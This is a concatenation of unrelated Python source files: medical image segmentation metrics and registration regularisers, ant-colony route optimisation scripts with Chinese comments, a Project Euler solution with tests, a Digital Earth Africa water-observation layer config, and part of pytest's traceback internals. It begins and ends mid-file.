class is the background. """ if self.mode == 'tf': assert y_true.shape[1:] == y_seg.shape[1:], "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, " \ "prediction shape: %s" % (y_true.get_shape().as_list(), y_seg.get_shape().as_list()) assert y_seg.get_shape().as_list()[-1] == self.n_class, "The number of classes of the segmentation " \ "should be equal to %s!" % self.n_class elif self.mode == 'np': assert y_true.shape == y_seg.shape, "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, prediction shape: %s" % (y_true.shape, y_seg.shape) assert y_seg.shape[-1], "The number of classes of the segmentation should be equal to %s!" % self.n_class y_seg = utils.get_segmentation(y_seg, self.mode) dice = 0. if self.mode == 'tf': for i in range(1, self.n_class): top = 2 * tf.reduce_sum(y_true[..., i] * y_seg[..., i]) bottom = tf.reduce_sum(y_true[..., i] + y_seg[..., i]) dice += top / (tf.maximum(bottom, self.eps)) return tf.divide(dice, tf.cast(self.n_class - 1, dtype=tf.float32), name='averaged_foreground_dice') elif self.mode == 'np': for i in range(1, self.n_class): top = 2 * np.sum(y_true[..., i] * y_seg[..., i]) bottom = np.sum(y_true[..., i] + y_seg[..., i]) dice += top / (np.maximum(bottom, self.eps)) return np.divide(dice, self.n_class - 1) def class_specific_dice(self, y_true, y_seg, i): """ Compute the class specific Dice. :param i: The i-th tissue class, default parameters: 0 for background; 1 for myocardium of the left ventricle; 2 for left atrium; 3 for left ventricle; 4 for right atrium; 5 for right ventricle; 6 for ascending aorta; 7 for pulmonary artery. """ y_seg = utils.get_segmentation(y_seg, self.mode) if self.mode == 'tf': assert y_true.shape[1:] == y_seg.shape[1:], "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, " \ "prediction shape: %s" % (y_true.get_shape().as_list(), y_seg.get_shape().as_list()) top = 2 * tf.reduce_sum(y_true[..., i] * y_seg[..., i]) bottom = tf.reduce_sum(y_true[..., i] + y_seg[..., i]) dice = tf.divide(top, tf.maximum(bottom, self.eps), name='class%s_dice' % i) elif self.mode == 'np': assert y_true.shape == y_seg.shape, "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, prediction shape: %s" % (y_true.shape, y_seg.shape) top = 2 * np.sum(y_true[..., i] * y_seg[..., i]) bottom = np.sum(y_true[..., i] + y_seg[..., i]) dice = np.divide(top, np.maximum(bottom, self.eps)) return dice def averaged_foreground_jaccard(self, y_true, y_seg): """ Assume the first class is the background. """ if self.mode == 'tf': assert y_true.shape[1:] == y_seg.shape[1:], "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, " \ "prediction shape: %s" % (y_true.get_shape().as_list(), y_seg.get_shape().as_list()) assert y_seg.get_shape().as_list()[-1] == self.n_class, "The number of classes of the segmentation " \ "should be equal to %s!" % self.n_class elif self.mode == 'np': assert y_true.shape == y_seg.shape, "The ground truth and prediction must be of equal shape! " \ "Ground truth shape: %s, prediction shape: %s" % (y_true.shape, y_seg.shape) assert y_seg.shape[-1], "The number of classes of the segmentation should be equal to %s!" % self.n_class y_seg = utils.get_segmentation(y_seg, self.mode) jaccard = 0. if self.mode == 'tf': y_true = tf.cast(y_true, dtype=tf.bool) y_seg = tf.cast(y_seg, dtype=tf.bool) for i in range(1, self.n_class): top = tf.reduce_sum(tf.cast(tf.logical_and(y_true[..., i], y_seg[..., i]), tf.float32)) bottom = tf.reduce_sum(tf.cast(tf.logical_or(y_true[..., i], y_seg[..., i]), tf.float32)) jaccard += top / (tf.maximum(bottom, self.eps)) return tf.divide(jaccard, tf.cast(self.n_class - 1, dtype=tf.float32), name='averaged_foreground_jaccard') elif self.mode == 'np': y_true = y_true.astype(np.bool) y_seg = y_seg.astype(np.bool) for i in range(1, self.n_class): top = np.sum(np.logical_and(y_true[..., i], y_seg[..., i]).astype(np.float32)) bottom = np.sum(np.logical_or(y_true[..., i], y_seg[..., i]).astype(np.float32)) jaccard += top / (np.maximum(bottom, self.eps)) return np.divide(jaccard, self.n_class - 1) def local_displacement_energy(ddf, energy_type, energy_weight=1.): """ Compute the displacement energy for regularization. :param ddf: The 3-D dense displacement fields, of shape [n_batch, *vol_shape, n_atlas, 3]. :param energy_type: The energy type, chosen from ['bending', 'gradient-l1', 'gradient-l2']. :param energy_weight: The energy weight. :return: A scalar tensor representing the computed displacement energy. """ with tf.name_scope('displacement_energy'): n_channel = ddf.get_shape().as_list()[-1] def gradient_dx(fv): return (fv[:, 2:, 1:-1, 1:-1] - fv[:, :-2, 1:-1, 1:-1]) / 2 def gradient_dy(fv): return (fv[:, 1:-1, 2:, 1:-1] - fv[:, 1:-1, :-2, 1:-1]) / 2 def gradient_dz(fv): return (fv[:, 1:-1, 1:-1, 2:] - fv[:, 1:-1, 1:-1, :-2]) / 2 def gradient_txyz(Txyz, fn): return tf.stack([fn(Txyz[..., i]) for i in range(n_channel)], axis=-1) def compute_gradient_norm(displacement, flag_l1=False): dTdx = gradient_txyz(displacement, gradient_dx) dTdy = gradient_txyz(displacement, gradient_dy) dTdz = gradient_txyz(displacement, gradient_dz) if flag_l1: norms = tf.abs(dTdx) + tf.abs(dTdy) + tf.abs(dTdz) else: norms = dTdx ** 2 + dTdy ** 2 + dTdz ** 2 return tf.reduce_mean(norms) def compute_bending_energy(displacement): dTdx = gradient_txyz(displacement, gradient_dx) dTdy = gradient_txyz(displacement, gradient_dy) dTdz = gradient_txyz(displacement, gradient_dz) dTdxx = gradient_txyz(dTdx, gradient_dx) dTdyy = gradient_txyz(dTdy, gradient_dy) dTdzz = gradient_txyz(dTdz, gradient_dz) dTdxy = gradient_txyz(dTdx, gradient_dy) dTdyz = gradient_txyz(dTdy, gradient_dz) dTdxz = gradient_txyz(dTdx, gradient_dz) return tf.reduce_mean( dTdxx ** 2 + dTdyy ** 2 + dTdzz ** 2 + 2 * dTdxy ** 2 + 2 * dTdxz ** 2 + 2 * dTdyz ** 2) if energy_weight: if energy_type == 'bending': energy = compute_bending_energy(ddf) elif energy_type == 'gradient-l2': energy = compute_gradient_norm(ddf) elif energy_type == 'gradient-l1': energy = compute_gradient_norm(ddf, flag_l1=True) else: raise Exception('Not recognised local regulariser!') else: energy = tf.constant(0.0) return tf.multiply(energy, energy_weight, name='displacement_energy') def compute_jacobian_determinant(vector_fields): """ Compute the average Jacobian determinants of the vector fields. :param vector_fields: The vector fields of shape [batch, nx, ny, nz, 3]. :return: The Jacobian determinant of the vector fields of shape [batch, nx, ny, nz]. """ with tf.name_scope('vector_jacobian_determinant'): n_dims = vector_fields.get_shape().as_list()[-1] def gradient_dx(fv): return (fv[:, 2:, 1:-1, 1:-1] - fv[:, :-2, 1:-1, 1:-1]) / 2 def gradient_dy(fv): return (fv[:, 1:-1, 2:, 1:-1] - fv[:, 1:-1, :-2, 1:-1]) / 2 def gradient_dz(fv): return (fv[:, 1:-1, 1:-1, 2:] - fv[:, 1:-1, 1:-1, :-2]) / 2 def gradient_txyz(Txyz, fn): return tf.stack([fn(Txyz[..., i]) for i in range(n_dims)]) dTdx = gradient_txyz(vector_fields, gradient_dx) # [3, batch, nx, ny, nz] dTdy = gradient_txyz(vector_fields, gradient_dy) dTdz = gradient_txyz(vector_fields, gradient_dz) jacobian_det = tf.subtract((dTdx[0]+1)*(dTdy[1]+1)*(dTdz[2]+1) + dTdx[2]*dTdy[0]*dTdz[1] + dTdx[1]*dTdy[2]*dTdz[0], dTdx[2]*(dTdy[1]+1)*dTdz[0] + (dTdx[0]+1)*dTdy[2]*dTdz[1] + dTdx[1]*dTdy[0]*(dTdz[2]+1), name='jacobian_det') return jacobian_det if __name__ == '__main__': import os from trainer_3d import _load_data, _one_hot_label print("Working directory: %s" % os.getcwd()) os.chdir('../') print("Working directory changed to %s" % os.getcwd()) target_label = _one_hot_label(_load_data('./data/crop_ADNI_I118671_label.nii.gz', clip_value=False)[0], labels=[0., 8., 9., 19., 20., 25., 26., 27., 28.]) source_label = _one_hot_label(_load_data('./data/affine_crop_ADNI_I118673_label.nii.gz', clip_value=False)[0], labels=[0., 8., 9., 19., 20., 25., 26., 27., 28.]) dice = OverlapMetrics(n_class=9, mode='np').averaged_foreground_dice(y_true=target_label, y_seg=source_label) print(dice) #50个需求地，5个供应地，以距离供应地最近为聚类条件，形成5条路径 import numpy as np import matplotlib.pyplot as plt from numpy import random #需求地坐标 coordinates = np.array([[3979, 4854], [2965, 901], [1844, 1979], [2385, 537], [2156, 2169], [2582, 4561], [2920, 4481],\ [2746, 1749], [1116, 364], [736, 2568], [1611, 1313], [3674, 4814], [3556, 3696], [1673, 465], \ [1304, 510], [365, 3962], [2485, 2505], [967, 2414], [4771, 1303], [683, 564], [3876, 2460], \ [3319, 4193], [3449, 2322], [457, 3422], [2702, 3892], [1778, 3699], [2251, 2849], [2384, 1894],\ [917, 3749], [878, 835], [1841, 1616], [2538, 1560], [2582, 3891], [817, 1786], [3040, 2736], [1498, 706],\ [4851, 4512], [2139, 4515], [89, 1686], [4962, 4457], [1275, 5], [1836, 665], [988, 701], [965, 547], [3143, 3909],\ [1081, 3319], [640, 2566], [1694, 938], [4702, 1536], [2826, 4625]]) #供应地坐标 coordinates2 = np.array([[3987, 2398], [1273, 3380],[4622, 766],[974, 207], [1377, 823]]) def getdistmat1(coordinates,coordinates2): num = coordinates.shape[0] #矩阵的行数 distmat1 = np.zeros((50,5)) #构造全零矩阵 for i in range(50): for j in range(0,5):#利用数组求二范式计算距离 distmat1[i][j] = np.linalg.norm(coordinates[i] - coordinates2[j]) return distmat1 distmat1=getdistmat1(coordinates,coordinates2) gather=[] for i in range (5): gather.append([]) for i in range (0,50): gather[np.argwhere(distmat1==min(distmat1[i]))[0][1]].append(coordinates[i]) sumpath=0 for z in range(0,len(gather)): l=z a=len(gather[l]) gather[l].append(coordinates2[l]) def getdistmat(coordinates): num = len(coordinates) #矩阵的行数 distmat = np.zeros((num,num)) #构造全零矩阵 for i in range(num): for j in range(i,num):#利用数组求二范式计算距离 distmat[i][j] = distmat[j][i] = \ np.linalg.norm(coordinates[i] - coordinates[j]) return distmat distmat = np.array(getdistmat(gather[l])) #距离矩阵 numant = 2*a #蚂蚁个数 numplace = a+1 #需求地个数 alpha = 1 #信息素重要程度因子 beta = 5 #启发函数重要程度因子 rho = 0.1 #信息素的挥发速度 Q = 1 #完成率 iter = 0 #迭代初始 itermax = 100 #迭代总数 #启发矩阵 diag将对角元素设为1e10 表示从i到j的期望值 etatable = 1.0 / (distmat+np.diag([1e10] * numplace)) #信息素矩阵 pheromonetable = np.ones((numplace,numplace))#构造全一矩阵 pathtable = np.zeros((numant,numplace)).astype(int)#路径记录表 distmat = np.array(getdistmat(gather[l])) lengthaver = np.zeros(itermax)#各代路径的平均长度 lengthbest = np.zeros(itermax)#各代及其之前的最佳路径长度 pathbest = np.zeros((itermax, numplace))#存放最佳路径地点的坐标 while iter < itermax: if numant <= numplace: pathtable[:,0] = np.random.permutation(range(0,numplace))[:numant] #随机排列一个序列 else: #将蚂蚁随机放置在需求点 pathtable[:numplace,0] = np.random.permutation(range(0,numplace))[:] pathtable[numplace:,0] = \ np.random.permutation(range(0,numplace))[:numant-numplace] length = np.zeros(numant)#计算各个蚂蚁的路径距离 for i in range(numant): visiting = pathtable[i,0] #当前所在位置 unvisited = set(range(numplace))#未访问的地点 unvisited.remove(visiting) #删除已经过的地点 for j in range(1,numplace):#轮盘法选择下一个地点 listunvisited = list(unvisited) probtrans = np.zeros(len(listunvisited)) for k in range(len(listunvisited)): probtrans[k] = \ np.power(pheromonetable[visiting][listunvisited[k]],alpha)\ *np.power(etatable[visiting][listunvisited[k]],beta) #求出本只蚂蚁的转移到各个地点的概率数列 cumsumprobtrans = (probtrans / sum(probtrans)).cumsum() cumsumprobtrans -= np.random.rand() k = listunvisited[list(cumsumprobtrans>0).index(True)]#下一个城市 pathtable[i,j] = k unvisited.remove(k) #计算到K城市的距离 length[i] += distmat[visiting][k] visiting = k #一只蚂蚁总的路径 length[i] += distmat[visiting][pathtable[i, 0]] #平均路径 lengthaver[iter] = length.mean() #选出最佳路径 if iter == 0: lengthbest[iter] = length.min() pathbest[iter] = pathtable[length.argmin()].copy() else: if length.min() > lengthbest[iter - 1]: lengthbest[iter] = lengthbest[iter - 1] pathbest[iter] = pathbest[iter - 1].copy() else: lengthbest[iter] = length.min() pathbest[iter] = pathtable[length.argmin()].copy() #更新信息素 changepheromonetable = np.zeros((numplace, numplace)) for i in range(numant): for j in range(numplace-1): changepheromonetable[pathtable[i, j]][pathtable[i, j + 1]] += \ Q / distmat[pathtable[i, j]][pathtable[i, j + 1]] changepheromonetable[pathtable[i, j + 1]][pathtable[i, 0]] += \ Q / distmat[pathtable[i, j + 1]][pathtable[i, 0]] #信息素更新公式 pheromonetable = (1 - rho) * pheromonetable + changepheromonetable iter +=1 print("this iteration end：",iter) if (iter - 1)%20 == 0: print("schedule:",iter - 1) #作出找到的最优路径图 bestpath = pathbest[-1] for i in range(0,a): plt.plot(gather[l][i][0],gather[l][i][1],'r',marker=u'$\cdot$') plt.xlim([-100,5000]) plt.ylim([-100,5000]) for i in range(numplace-1): m, n = int(bestpath[i]), int(bestpath[i + 1]) print ("best-path",m,n) plt.plot([gather[l][m][0],gather[l][n][0]],\ [gather[l][m][1],gather[l][n][1]],'k') plt.plot([gather[l][int(bestpath[numplace-1])][0],gather[l][int(bestpath[0])][0]],\ [gather[l][int(bestpath[numplace-1])][1],gather[l][int(bestpath[0])][1]],'k') plt.plot(gather[l][a][0],gather[l][a][1],'ob') sumpath+=lengthbest[a-1] ax=plt.gca() ax.set_title("Best Path") ax.set_xlabel('X axis') ax.set_ylabel('Y_axis') plt.savefig('Best Path.png',dpi=500,bbox_inches='tight') plt.show() print(sumpath) #50个需求地，50个供应地，以距离供应地最近为聚类条件，形成路径 import numpy as np import matplotlib.pyplot as plt from numpy import random #需求地坐标 coordinates = np.array([[3979, 4854], [2965, 901], [1844, 1979], [2385, 537], [2156, 2169], [2582, 4561], [2920, 4481],\ [2746, 1749], [1116, 364], [736, 2568], [1611, 1313], [3674, 4814], [3556, 3696], [1673, 465], \ [1304, 510], [365, 3962], [2485, 2505], [967, 2414], [4771, 1303], [683, 564], [3876, 2460], \ [3319, 4193], [3449, 2322], [457, 3422], [2702, 3892], [1778, 3699], [2251, 2849], [2384, 1894],\ [917, 3749], [878, 835], [1841, 1616], [2538, 1560], [2582, 3891], [817, 1786], [3040, 2736], [1498, 706],\ [4851, 4512], [2139, 4515], [89, 1686], [4962, 4457], [1275, 5], [1836, 665], [988, 701], [965, 547], [3143, 3909],\ [1081, 3319], [640, 2566], [1694, 938], [4702, 1536], [2826, 4625]]) #供应地坐标 coordinates2 = np.array([[3322, 58], [3987, 2398], [3144, 417], [1273, 3380], [2792, 526], [2759, 3258],\ [2390, 4410], [3368, 2957], [841, 4658], [4674, 3347], [2749, 2452], [2237, 3424], [3086, 1432], [2160, 2810],\ [4622, 766], [3330, 4004], [4150, 3170], [3429, 4197], [1991, 2780], [1656, 383], [974, 207], [4907, 1616],\ [1377, 823], [3214, 4037], [4159, 3570], [2296, 14], [3110, 1510], [2577, 2966], [4255, 2547], [2637, 1885],\ [1406, 4309], [2450, 3962], [4295, 1183], [4369, 2409], [939, 967], [3699, 2823], [1711, 2909], [1462, 3568],\ [793, 4057], [4240, 1848], [4410, 2969], [1803, 3053], [1141, 328], [225, 4181], [674, 4990], [3913, 328], [2708, 3970],\ [3199, 188], [3273, 526], [1531, 1774]]) def getdistmat1(coordinates,coordinates2): num = coordinates.shape[0] #矩阵的行数 distmat1 = np.zeros((50,50)) #构造全零矩阵 for i in range(50): for j in range(50):#利用数组求二范式计算距离 distmat1[i][j] = np.linalg.norm(coordinates[i] - coordinates2[j]) return distmat1 distmat1=getdistmat1(coordinates,coordinates2) gather=[] for i in range (50): gather.append([]) for i in range (0,50): gather[np.argwhere(distmat1==min(distmat1[i]))[0][1]].append(coordinates[i]) sumpath=0 for z in range(0,len(gather)): l=z a=len(gather[l]) if a==0: continue gather[l].append(coordinates2[l]) def getdistmat(coordinates): num = len(coordinates) #矩阵的行数 distmat = np.zeros((num,num)) #构造全零矩阵 for i in range(num): for j in range(i,num):#利用数组求二范式计算距离 distmat[i][j] = distmat[j][i] = \ np.linalg.norm(coordinates[i] - coordinates[j]) return distmat distmat = np.array(getdistmat(gather[l])) #距离矩阵 numant = 2*a #蚂蚁个数 numplace = a+1 #需求地个数 alpha = 1 #信息素重要程度因子 beta = 5 #启发函数重要程度因子 rho = 0.1 #信息素的挥发速度 Q = 1 #完成率 iter = 0 #迭代初始 itermax = 50 #迭代总数 #启发矩阵 diag将对角元素设为1e10 表示从i到j的期望值 etatable = 1.0 / (distmat+np.diag([1e10] * numplace)) #信息素矩阵 pheromonetable = np.ones((numplace,numplace))#构造全一矩阵 pathtable = np.zeros((numant,numplace)).astype(int)#路径记录表 distmat = np.array(getdistmat(gather[l])) lengthaver = np.zeros(itermax)#各代路径的平均长度 lengthbest = np.zeros(itermax)#各代及其之前的最佳路径长度 pathbest = np.zeros((itermax, numplace))#存放最佳路径地点的坐标 while iter < itermax: if numant <= numplace: pathtable[:,0] = np.random.permutation(range(0,numplace))[:numant] #随机排列一个序列 else: #将蚂蚁随机放置在需求点 pathtable[:numplace,0] = np.random.permutation(range(0,numplace))[:] pathtable[numplace:,0] = \ np.random.permutation(range(0,numplace))[:numant-numplace] length = np.zeros(numant)#计算各个蚂蚁的路径距离 for i in range(numant): visiting = pathtable[i,0] #当前所在位置 unvisited = set(range(numplace))#未访问的地点 unvisited.remove(visiting) #删除已经过的地点 for j in range(1,numplace):#轮盘法选择下一个地点 listunvisited = list(unvisited) probtrans = np.zeros(len(listunvisited)) for k in range(len(listunvisited)): probtrans[k] = \ np.power(pheromonetable[visiting][listunvisited[k]],alpha)\ *np.power(etatable[visiting][listunvisited[k]],beta) #求出本只蚂蚁的转移到各个地点的概率数列 cumsumprobtrans = (probtrans / sum(probtrans)).cumsum() cumsumprobtrans -= np.random.rand() k = listunvisited[list(cumsumprobtrans>0).index(True)]#下一个城市 pathtable[i,j] = k unvisited.remove(k) #计算到K城市的距离 length[i] += distmat[visiting][k] visiting = k #一只蚂蚁总的路径 length[i] += distmat[visiting][pathtable[i, 0]] #平均路径 lengthaver[iter] = length.mean() #选出最佳路径 if iter == 0: lengthbest[iter] = length.min() pathbest[iter] = pathtable[length.argmin()].copy() else: if length.min() > lengthbest[iter - 1]: lengthbest[iter] = lengthbest[iter - 1] pathbest[iter] = pathbest[iter - 1].copy() else: lengthbest[iter] = length.min() pathbest[iter] = pathtable[length.argmin()].copy() #更新信息素 changepheromonetable = np.zeros((numplace, numplace)) for i in range(numant): for j in range(numplace-1): changepheromonetable[pathtable[i, j]][pathtable[i, j + 1]] += \ Q / distmat[pathtable[i, j]][pathtable[i, j + 1]] changepheromonetable[pathtable[i, j + 1]][pathtable[i, 0]] += \ Q / distmat[pathtable[i, j + 1]][pathtable[i, 0]] #信息素更新公式 pheromonetable = (1 - rho) * pheromonetable + changepheromonetable iter +=1 print("this iteration end：",iter) if (iter - 1)%20 == 0: print("schedule:",iter - 1) #作出找到的最优路径图 bestpath = pathbest[-1] for i in range(0,a): plt.plot(gather[l][i][0],gather[l][i][1],'r',marker=u'$\cdot$') plt.xlim([-100,5000]) plt.ylim([-100,5000]) for i in range(numplace-1): m, n = int(bestpath[i]), int(bestpath[i + 1]) print ("best-path",m,n) plt.plot([gather[l][m][0],gather[l][n][0]],\ [gather[l][m][1],gather[l][n][1]],'k') plt.plot([gather[l][int(bestpath[numplace-1])][0],gather[l][int(bestpath[0])][0]],\ [gather[l][int(bestpath[numplace-1])][1],gather[l][int(bestpath[0])][1]],'k') plt.plot(gather[l][a][0],gather[l][a][1],'ob') sumpath+=lengthbest[a-1] ax=plt.gca() ax.set_title("Best Path") ax.set_xlabel('X axis') ax.set_ylabel('Y_axis') plt.savefig('Best Path.png',dpi=500,bbox_inches='tight') plt.show() plt.close() print(sumpath) import unittest from utils import performance def multiplesof3and5(to): """ If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. https://projecteuler.net/problem=1 """ sum = 0 for i in range(1, to): if (i % 3 == 0) or (i % 5 == 0): sum += i return sum def sum_of_divisible(n, div): top = n / div return (top + 1) * top / 2 * div def multiplesof3and5optimized(to): """ Optimized solution to find multiples sum :param to: :return: """ return sum_of_divisible(to - 1, 5) - sum_of_divisible(to - 1, 15) + sum_of_divisible(to - 1, 3) def make_test(num): """ :param num: is used to pass some variable and run tests accordingly :return: TestClass for unittesting """ class TestClass(unittest.TestCase): def test(self): """ Unit test suite """ ''' testing multiplesof3and5 ''' self.assertEqual(multiplesof3and5(3), 0) self.assertEqual(multiplesof3and5(4), 3) self.assertEqual(multiplesof3and5(10), 23) self.assertEqual(multiplesof3and5(1000), 233168) # self.assertEqual(multiplesof3and5(100000000), 2333333316666668) # Takes too much time # self.assertEqual(multiplesof3and5(200000000L), 2333333316666668L) # error ''' testing multiplesof3and5optimized ''' self.assertEqual(multiplesof3and5optimized(3), 0) self.assertEqual(multiplesof3and5optimized(4), 3) self.assertEqual(multiplesof3and5optimized(10), 23) self.assertEqual(multiplesof3and5optimized(1000), 233168) self.assertEqual(multiplesof3and5optimized(100000000), 2333333316666668) self.assertEqual(multiplesof3and5optimized(200000000), 9333333166666668) self.assertEqual(multiplesof3and5optimized(1000000000), 233333333166666668) ''' testing sum_of_divisible ''' self.assertEqual(sum_of_divisible(4, 5), 0) self.assertEqual(sum_of_divisible(10, 5), 15) def test_performance(self): # Performance test. Method 1. Convenient and nice performance(True) multiplesof3and5(30000000) performance() multiplesof3and5optimized(100000000) performance() test.__doc__ = 'Test on calculations <%d>' % num return TestClass Test1 = make_test(0) # globals()['Test2'] = make_test(10) if __name__ == '__main__': unittest.main(verbosity=5)0 class EquipmentNotFoundException(Exception): pass 0 from ows_refactored.common.ows_reslim_cfg import reslim_wofs_daily from ows_refactored.wofs.band_wofs_cfg import bands_wofs_obs style_wofs_ls_obs = { "name": "observations", "title": "Observations", "abstract": "Observations", "value_map": { "water": [ { "title": "", "abstract": "", "flags": { "nodata": True, }, "alpha": 0.0, "color": "#707070", }, { "title": "", "abstract": "", "flags": { "and": { "noncontiguous": True, "low_solar_angle": True } }, "alpha": 0.0, "color": "#707070", }, { "title": "Cloudy Steep Terrain", "abstract": "", "flags": { "and": { "cloud": True, "high_slope": True } }, "color": "#f2dcb4", }, { "title": "Cloudy Water", "abstract": "", "flags": { "and": { "water_observed": True, "cloud": True } }, "color": "#bad4f2", }, { "title": "Shaded Water", "abstract": "", "flags": { "and": { "water_observed": True, "cloud_shadow": True } }, "color": "#335277", }, { "title": "Cloud", "abstract": "", "flags": {"cloud": True}, "color": "#c2c1c0", }, { "title": "Cloud Shadow", "abstract": "", "flags": {"cloud_shadow": True}, "color": "#4b4b37", }, { "title": "Terrain Shadow", "abstract": "", "flags": {"terrain_shadow": True}, "color": "#2f2922", }, { "title": "Steep Terrain", "abstract": "", "flags": {"high_slope": True}, "color": "#776857", }, { "title": "Water", "abstract": "", "flags": {"water_observed": True}, "color": "#4F81BD", }, { "title": "Dry", "abstract": "", "flags": { "water_observed": False, }, "color": "#96966e", }, ], }, "legend": {"width": 3.0, "height": 2.1}, } style_wofs_ls_obs_wet_only = { "name": "wet", "title": "Wet Only", "abstract": "Wet Only", "value_map": { "water": [ { "title": "Invalid", "abstract": "Slope or Cloud", "flags": { "or": { "terrain_shadow": True, "low_solar_angle": True, "cloud_shadow": True, "cloud": True, "high_slope": True, "noncontiguous": True, } }, "color": "#707070", "alpha": 0.0, }, { # Possible Sea Glint, also mark as invalid "title": "Dry", "abstract": "Dry", "flags": { "dry": True, }, "color": "#D99694", "alpha": 0.0, }, { "title": "Wet", "abstract": "", "flags": {"wet": True}, "color": "#4F81BD", }, ], }, } layer = { "title": "Water Observations from Space Feature Layer", "name": "wofs_ls", "abstract": """ Water Observations from Space (WOfS) provides surface water observations derived from satellite imagery for all of Africa. The WOfS product allows users to get a better understanding of where water is normally present in a landscape, where water is seldom observed, and where inundation has occurred occasionally. Data is provided as Water Observation Feature Layers (WOFLs), in a 1 to 1 relationship with the input satellite data. Hence there is one WOFL for each satellite dataset processed for the occurrence of water. This product has a spatial resolution of 30 m and a temporal coverage of 1980s to current. It is derived from Landsat Collection 2 surface reflectance product. Daily water observations can be used to map historical flood and to understand surface water dynamics. WOfS shows surface water on the day and time that satellite passed overhead, which might be before, during or after a flood peak. Given the time between satellite passes (approximately once every 16 days) it is unlikely that the satellite will capture the maximum extent of any given flood. Instead, it aims to provide large scale, regional information on surface water. For more information on the algorithm, see https://doi.org/10.1016/j.rse.2015.11.003 This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "wofs_ls", "bands": bands_wofs_obs, "resource_limits": reslim_wofs_daily, "dynamic": True, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_bitflag", "always_fetch_bands": [], "manual_merge": False, "fuse_func": "datacube_ows.wms_utils.wofls_fuser", }, "flags": [ { "band": "water", "product": "wofs_ls", "ignore_time": False, "ignore_info_flags": [], "fuse_func": "datacube_ows.wms_utils.wofls_fuser", }, ], "wcs": { "native_crs": "EPSG:4326", "native_resolution": [30.0, -30.0], "default_bands": ["water"], }, "styling": { "default_style": "observations", "styles": [ style_wofs_ls_obs, style_wofs_ls_obs_wet_only, ], }, } import inspect import re import sys import traceback from inspect import CO_VARARGS from inspect import CO_VARKEYWORDS from io import StringIO from pathlib import Path from traceback import format_exception_only from types import CodeType from types import FrameType from types import TracebackType from typing import Any from typing import Callable from typing import Dict from typing import Generic from typing import Iterable from typing import List from typing import Mapping from typing import Optional from typing import overload from typing import Pattern from typing import Sequence from typing import Set from typing import Tuple from typing import Type from typing import TYPE_CHECKING from typing import TypeVar from typing import Union from weakref import ref import attr import pluggy import _pytest from _pytest._code.source import findsource from _pytest._code.source import getrawcode from _pytest._code.source import getstatementrange_ast from _pytest._code.source import Source from _pytest._io import TerminalWriter from _pytest._io.saferepr import safeformat from _pytest._io.saferepr import saferepr from _pytest.compat import final from _pytest.compat import get_real_func from _pytest.deprecated import check_ispytest from _pytest.pathlib import absolutepath from _pytest.pathlib import bestrelpath if TYPE_CHECKING: from typing_extensions import Literal from weakref import ReferenceType _TracebackStyle = Literal["long", "short", "line", "no", "native", "value", "auto"] class Code: """Wrapper around Python code objects.""" __slots__ = ("raw",) def __init__(self, obj: CodeType) -> None: self.raw = obj @classmethod def from_function(cls, obj: object) -> "Code": return cls(getrawcode(obj)) def __eq__(self, other): return self.raw == other.raw # Ignore type because of https://github.com/python/mypy/issues/4266. __hash__ = None # type: ignore @property def firstlineno(self) -> int: return self.raw.co_firstlineno - 1 @property def name(self) -> str: return self.raw.co_name @property def path(self) -> Union[Path, str]: """Return a path object pointing to source code, or an ``str`` in case of ``OSError`` / non-existing file.""" if not self.raw.co_filename: return "" try: p = absolutepath(self.raw.co_filename) # maybe don't try this checking if not p.exists(): raise OSError("path check failed.") return p except OSError: # XXX maybe try harder like the weird logic # in the standard lib [linecache.updatecache] does? return self.raw.co_filename @property def fullsource(self) -> Optional["Source"]: """Return a _pytest._code.Source object for the full source file of the code.""" full, _ = findsource(self.raw) return full def source(self) -> "Source": """Return a _pytest._code.Source object for the code object's source only.""" # return source only for that part of code return Source(self.raw) def getargs(self, var: bool = False) -> Tuple[str, ...]: """Return a tuple with the argument names for the code object. If 'var' is set True also return the names of the variable and keyword arguments when present. """ # Handy shortcut for getting args. raw = self.raw argcount = raw.co_argcount if var: argcount += raw.co_flags & CO_VARARGS argcount += raw.co_flags & CO_VARKEYWORDS return raw.co_varnames[:argcount] class Frame: """Wrapper around a Python frame holding f_locals and f_globals in which expressions can be evaluated.""" __slots__ = ("raw",) def __init__(self, frame: FrameType) -> None: self.raw = frame @property def lineno(self) -> int: return self.raw.f_lineno - 1 @property def f_globals(self) -> Dict[str, Any]: return self.raw.f_globals @property def f_locals(self) -> Dict[str, Any]: return self.raw.f_locals @property def code(self) -> Code: return Code(self.raw.f_code) @property def statement(self) -> "Source": """Statement this frame is at.""" if self.code.fullsource is None: return Source("") return self.code.fullsource.getstatement(self.lineno) def eval(self, code, **vars): """Evaluate 'code' in the frame. 'vars' are optional additional local variables. Returns the result of the evaluation. """ f_locals = self.f_locals.copy() f_locals.update(vars) return eval(code, self.f_globals, f_locals) def repr(self, object: object) -> str: """Return a 'safe' (non-recursive, one-line) string repr for 'object'.""" return saferepr(object) def getargs(self, var: bool = False): """Return a list of tuples (name, value) for all arguments. If 'var' is set True, also include the variable and keyword arguments when present. """ retval = [] for arg in self.code.getargs(var): try: retval.append((arg, self.f_locals[arg])) except KeyError: pass # this can occur when using Psyco return retval class TracebackEntry: """A single entry in a Traceback.""" __slots__ = ("_rawentry", "_excinfo", "_repr_style") def __init__( self, rawentry: TracebackType, excinfo: Optional["ReferenceType[ExceptionInfo[BaseException]]"] = None, ) -> None: self._rawentry = rawentry self._excinfo = excinfo self._repr_style: Optional['Literal["short", "long"]'] = None @property def lineno(self) -> int: return self._rawentry.tb_lineno - 1 def set_repr_style(self, mode: "Literal['short', 'long']") -> None: assert mode in ("short", "long") self._repr_style = mode @property def frame(self) -> Frame: return Frame(self._rawentry.tb_frame) @property def relline(self) -> int: return self.lineno - self.frame.code.firstlineno def __repr__(self) -> str: return "" % (self.frame.code.path, self.lineno + 1) @property def statement(self) -> "Source": """_pytest._code.Source object for the current statement.""" source = self.frame.code.fullsource assert source is not None return source.getstatement(self.lineno) @property def path(self) -> 